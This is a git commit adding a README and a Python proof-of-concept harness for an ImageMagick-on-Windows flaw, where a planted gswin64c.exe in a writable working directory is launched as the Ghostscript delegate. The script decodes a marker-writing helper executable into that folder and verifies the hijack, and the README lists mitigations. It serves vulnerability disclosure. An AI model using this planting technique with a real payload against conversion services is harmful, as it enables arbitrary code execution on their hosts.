Upload files to "imagemagick-gs-delegate-hijack-poc"

This commit is contained in:
2026-06-29 16:46:35 +00:00
parent 41bbd51204
commit 4ad7ce586a
2 changed files with 307 additions and 0 deletions
@@ -0,0 +1,125 @@
# ImageMagick Ghostscript Delegate Search Path PoC
This repository contains a Python proof of concept for a Windows executable search-path issue in ImageMagick's Ghostscript delegate handling.
When ImageMagick converts PDF, PS, EPS, or related PostScript-family inputs on Windows, it builds a Ghostscript delegate command. In the fallback path where ImageMagick does not have a full Ghostscript executable path, the delegate command uses the bare executable name `gswin64c.exe`. The command is then launched through the Windows process API with the application name left unset, which allows normal Windows executable search behavior to choose the program that gets launched.
If the converter process runs from a directory that an attacker can write to, a planted `gswin64c.exe` in that directory can be launched when ImageMagick processes a PDF/PS-family file.
## Tested Versions
The local verification used:
- ImageMagick `7.1.2-25`
- Ghostscript `10.07.1`
- Windows x64
- Python 3
The PoC uses a harmless marker-writing helper named `gswin64c.exe`. The helper only writes a text file showing that it was launched and records the delegate arguments that ImageMagick passed.
## Repository Layout
- `poc.py`: Python replay harness.
- `helper/FakeGswin64c.cs`: source code for the marker-writing helper payload.
- `helper/gswin64c.exe.b64`: base64-encoded helper executable generated from `helper/FakeGswin64c.cs`.
## How The Bug Works
ImageMagick's delegate configuration contains Ghostscript command templates that reference `@PSDelegate@`. On Windows, that placeholder is filled by code that tries to locate Ghostscript. When a full path is available, the command points to that full path. In the fallback path, ImageMagick substitutes `gswin64c.exe`.
The resulting command has this shape:
```text
"gswin64c.exe" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE ... "-sDEVICE=pngalpha" ...
```
Because the executable is a bare name, Windows resolves it through process search rules. A copy of `gswin64c.exe` in the current working directory can be selected before the real Ghostscript binary from `PATH`.
The PoC creates two directories:
- `control`: contains only a benign PDF. ImageMagick resolves `gswin64c.exe` from `PATH`, and conversion succeeds.
- `hijack`: contains the same benign PDF plus a marker-writing `gswin64c.exe`. ImageMagick launches the marker helper from the working directory.
For deterministic lab reproduction, the PoC points `MAGICK_GHOSTSCRIPT_PATH` at a throwaway directory that does not contain Ghostscript DLLs. That forces ImageMagick through the same fallback branch used by portable/no-registry deployments where a full Ghostscript path is unavailable.
## Requirements
- Windows
- Python 3
- ImageMagick for Windows with PDF/PS delegate support
- Ghostscript for Windows
The PoC accepts explicit paths, so it works with portable builds as well as installed builds.
## Usage
With `magick.exe` and `gswin64c.exe` already in `PATH`:
```bash
python poc.py
```
With explicit paths:
```bash
python poc.py \
--magick "C:\path\to\magick.exe" \
--gs-bin "C:\path\to\ghostscript\bin"
```
For portable ImageMagick builds that need a config directory:
```bash
python poc.py \
--magick "C:\path\to\ImageMagick\magick.exe" \
--magick-configure-path "C:\path\to\ImageMagick" \
--gs-bin "C:\path\to\ghostscript\bin"
```
The script prints JSON evidence and writes a `result.json` file into the generated evidence directory.
Successful output includes:
```json
{
"control": {
"output_exists": true
},
"hijack": {
"marker_exists": true,
"marker_text": "fake gswin64c executed\n..."
}
}
```
The marker text contains the exact delegate arguments passed by ImageMagick.
## Reproduction Flow
1. Create a benign PDF input.
2. Create a control directory with only that PDF.
3. Create a second directory with the same PDF and a marker helper named `gswin64c.exe`.
4. Prepend the real Ghostscript `bin` directory to `PATH`.
5. Run ImageMagick from the control directory and verify normal rendering.
6. Run ImageMagick from the second directory and verify that the local `gswin64c.exe` wrote the marker.
## Mitigations
Operational mitigations:
- Configure ImageMagick so Ghostscript resolves to an absolute executable path.
- Set `MAGICK_GHOSTSCRIPT_PATH` to the real Ghostscript `bin` directory when using ImageMagick in automated conversion services.
- Run conversion jobs from a trusted working directory that untrusted users cannot write to.
- Keep upload directories, extraction directories, and conversion working directories separate.
- Disable PDF/PS-family delegate processing when those formats are not required.
Code-level hardening:
- Avoid launching delegate programs by bare executable name.
- Pass an explicit absolute executable path to the process creation API.
- Set the child process working directory to a trusted location.
- Reject delegate execution when the resolved executable path is relative.
## Notes
The helper payload in `helper/gswin64c.exe.b64` is generated from `helper/FakeGswin64c.cs`. It writes only the marker file named by `IM_GS_MARKER` and returns.
+182
View File
@@ -0,0 +1,182 @@
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import os
import platform
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
def sha256(path):
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest().upper()
def build_pdf():
objects = [
b"<< /Type /Catalog /Pages 2 0 R >>",
b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 72 72] /Contents 4 0 R >>",
b"<< /Length 38 >>\nstream\n0.1 0.4 0.8 rg\n10 10 52 52 re\nf\nendstream",
]
out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
offsets = [0]
for index, body in enumerate(objects, start=1):
offsets.append(len(out))
out.extend(f"{index} 0 obj\n".encode("ascii"))
out.extend(body)
out.extend(b"\nendobj\n")
xref = len(out)
out.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
out.extend(b"0000000000 65535 f \n")
for offset in offsets[1:]:
out.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
out.extend(f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode("ascii"))
return bytes(out)
def run(cmd, cwd, env):
return subprocess.run(
cmd,
cwd=str(cwd),
env=env,
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=False,
)
def find_exe(name, explicit):
if explicit:
path = Path(explicit).expanduser().resolve()
if not path.exists():
raise SystemExit(f"{name} was not found: {path}")
return path
found = shutil.which(name)
if not found:
raise SystemExit(f"{name} was not found in PATH; pass its path explicitly")
return Path(found).resolve()
def write_text(path, text):
path.write_text(text, encoding="utf-8", errors="replace")
def load_helper_payload():
payload = Path(__file__).resolve().parent / "helper" / "gswin64c.exe.b64"
if not payload.exists():
raise SystemExit(f"helper payload missing: {payload}")
return base64.b64decode("".join(payload.read_text(encoding="ascii").split()))
def main():
parser = argparse.ArgumentParser(description="ImageMagick Ghostscript delegate executable search-path PoC")
parser.add_argument("--magick", help="Path to magick.exe. Defaults to magick.exe in PATH.")
parser.add_argument("--gs-bin", help="Directory containing the real gswin64c.exe. Defaults to PATH lookup.")
parser.add_argument("--magick-configure-path", help="Optional ImageMagick config directory for portable builds.")
parser.add_argument("--workdir", help="Directory for generated PoC files. Defaults to a temp directory.")
args = parser.parse_args()
if platform.system() != "Windows":
raise SystemExit("This PoC exercises ImageMagick's Windows delegate launcher path. Run it on Windows with Python 3.")
magick = find_exe("magick.exe", args.magick)
if args.gs_bin:
gs_bin = Path(args.gs_bin).expanduser().resolve()
gs_exe = gs_bin / "gswin64c.exe"
if not gs_exe.exists():
raise SystemExit(f"gswin64c.exe was not found in --gs-bin: {gs_bin}")
else:
gs_exe = find_exe("gswin64c.exe", None)
gs_bin = gs_exe.parent
if args.workdir:
root = Path(args.workdir).expanduser().resolve()
root.mkdir(parents=True, exist_ok=True)
else:
root = Path(tempfile.mkdtemp(prefix="im-gs-delegate-poc-")).resolve()
control = root / "control"
hijack = root / "hijack"
fallback = root / "ghostscript-path-without-dll"
for directory in (control, hijack, fallback):
directory.mkdir(parents=True, exist_ok=True)
for directory in (control, hijack):
(directory / "benign.pdf").write_bytes(build_pdf())
helper = hijack / "gswin64c.exe"
helper.write_bytes(load_helper_payload())
marker = hijack / "marker.txt"
env = os.environ.copy()
env["PATH"] = str(gs_bin) + os.pathsep + env.get("PATH", "")
env["MAGICK_GHOSTSCRIPT_PATH"] = str(fallback)
env["IM_GS_MARKER"] = str(marker)
if args.magick_configure_path:
env["MAGICK_CONFIGURE_PATH"] = str(Path(args.magick_configure_path).expanduser().resolve())
magick_version = run([str(magick), "-version"], root, env)
gs_version = run([str(gs_exe), "--version"], root, env)
control_result = run([str(magick), "-verbose", "benign.pdf", "control.png"], control, env)
hijack_result = run([str(magick), "-verbose", "benign.pdf", "hijack.png"], hijack, env)
write_text(control / "stdout.txt", control_result.stdout)
write_text(control / "stderr.txt", control_result.stderr)
write_text(hijack / "stdout.txt", hijack_result.stdout)
write_text(hijack / "stderr.txt", hijack_result.stderr)
marker_text = marker.read_text(encoding="utf-8", errors="replace") if marker.exists() else ""
result = {
"workdir": str(root),
"magick": {
"path": str(magick),
"sha256": sha256(magick),
"version": magick_version.stdout.strip(),
},
"ghostscript": {
"path": str(gs_exe),
"sha256": sha256(gs_exe),
"version": gs_version.stdout.strip(),
},
"helper": {
"path": str(helper),
"sha256": sha256(helper),
},
"control": {
"exit_code": control_result.returncode,
"output_png": str(control / "control.png"),
"output_exists": (control / "control.png").exists(),
},
"hijack": {
"exit_code": hijack_result.returncode,
"marker": str(marker),
"marker_exists": marker.exists(),
"marker_text": marker_text,
},
}
result_path = root / "result.json"
result_path.write_text(json.dumps(result, indent=2), encoding="utf-8")
print(json.dumps(result, indent=2))
if not result["control"]["output_exists"]:
raise SystemExit("Control conversion did not produce output; check control/stderr.txt")
if not result["hijack"]["marker_exists"]:
raise SystemExit("Hijack marker was not written; check hijack/stderr.txt")
if "fake gswin64c executed" not in marker_text:
raise SystemExit("Hijack marker did not contain the expected helper output")
print(f"\nPoC verified. Evidence directory: {root}")
if __name__ == "__main__":
sys.exit(main())